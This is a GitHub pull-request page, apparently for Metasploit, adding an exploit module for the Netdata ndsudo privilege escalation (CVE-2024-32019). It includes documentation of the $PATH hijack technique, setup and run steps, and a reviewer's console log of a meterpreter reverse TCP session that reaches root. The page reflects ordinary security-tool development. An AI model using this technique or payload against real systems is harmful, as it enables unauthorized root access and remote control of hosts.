-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Adds module for ndsudo privilege escalation (CVE-2024-32019) #20460
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adds module for ndsudo privilege escalation (CVE-2024-32019) #20460
Conversation
@@ -0,0 +1,60 @@ | |||
## Vulnerable Application | |||
|
|||
The `ndsudo` is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation using `ndsudo` binary. The vulnerability is untrusted search path, when searching for additional binary files, such as `nvme`. An attacker can create malicious binary with same name and add the directory of this binary into `$PATH` variable. The `ndsudo` will trust the first occurence of this binary and execute it. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The `ndsudo` is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation using `ndsudo` binary. The vulnerability is untrusted search path, when searching for additional binary files, such as `nvme`. An attacker can create malicious binary with same name and add the directory of this binary into `$PATH` variable. The `ndsudo` will trust the first occurence of this binary and execute it. | |
The `ndsudo` is a tool shipped with Netdata Agent. Versions v1.45.0 and below contain a vulnerability, which allows an attacker to gain privilege escalation using the `ndsudo` binary. The vulnerability is an untrusted search path. When searching for additional binary files, such as `nvme`, an attacker can create a malicious binary with same name and add the directory of this binary into the `$PATH` variable. The `ndsudo` will trust the first occurrence of this binary and execute it. |
documentation/modules/exploit/linux/local/ndsudo_cve_2024_32019.md
Outdated
Show resolved
Hide resolved
Hacke for divase rapid7#20460 rapid7#12600 rapid7#20470 rapid7#20400 #
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Things look good to me. I was able to test this out and confirm it's working as intended. Nice work @msutovsky-r7, thanks for adding this exploit.
msf exploit(linux/local/ndsudo_cve_2024_32019) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: smcintyre @ ubuntu (uid=1000, gid=1000, euid=1000, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.134
OS : Ubuntu 24.04 (Linux 6.11.0-25-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > background
[*] Backgrounding session 1...
msf exploit(linux/local/ndsudo_cve_2024_32019) > show options
Module options (exploit/linux/local/ndsudo_cve_2024_32019):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION -1 yes The session to run this module on
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Auto
View the full module info with the info, or info -d command.
msf exploit(linux/local/ndsudo_cve_2024_32019) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Vulnerable binary detected
[*] Writing '/tmp/nvme' (250 bytes) ...
[*] Sending stage (3008420 bytes) to 192.168.159.134
[+] Deleted /tmp/nvme
[*] Meterpreter session 3 opened (192.168.159.128:4444 -> 192.168.159.134:41390) at 2025-08-20 14:11:19 -0400
meterpreter >
meterpreter > getuid
Server username: root @ ubuntu (uid=1000, gid=1000, euid=0, egid=1000)
meterpreter > sysinfo
Computer : 192.168.159.134
OS : Ubuntu 24.04 (Linux 6.11.0-25-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > pwd
/home/smcintyre/netdata-v1.45.0-8-g5803c7766
meterpreter >
Release NotesAdds a module for CVE-2024-32019 - privilege escalation for ndsudo. |
This PR adds module for CVE-2024-32019 - privilege escalation for
ndsudo
.Vulnerable Application
The
ndsudo
is a tool shipped with Netdata Agent. The version v1.45.0 and below contain vulnerability, which allows an attacker to gain privilege escalation usingndsudo
binary. The vulnerability is untrusted search path, when searching for additional binary files, such asnvme
. An attacker can create malicious binary with same name and add the directory of this binary into$PATH
variable. Thendsudo
will trust the first occurence of this binary and execute it.Installation steps:
sudo apt install cmake libelf-dev git bison flex build-essential libssl-dev pkg-config liblz4-dev libzstd-dev libbrotli-dev uuid-dev libuv1-dev
wget https://github.com/netdata/netdata-nightlies/releases/download/v1.45.0-8-nightly/netdata-latest.tar.gz
gunzip netdata-latest.tar.gz
tar -xf netdata-latest.tar
cd netdata-v1.45.0-8-g5803c7766/
sudo ./netdata-installer.sh
Verification Steps
use exploit/linux/local/ndsudo_cve_2024_32019
set session [session number]
run
Options
WritableDir
A path where malicious
nvme
binary will be stored. This path will be later prepended to$PATH
variable to achieve privilege escalation.NdsudoPath
A path to
ndsudo
binary.Scenarios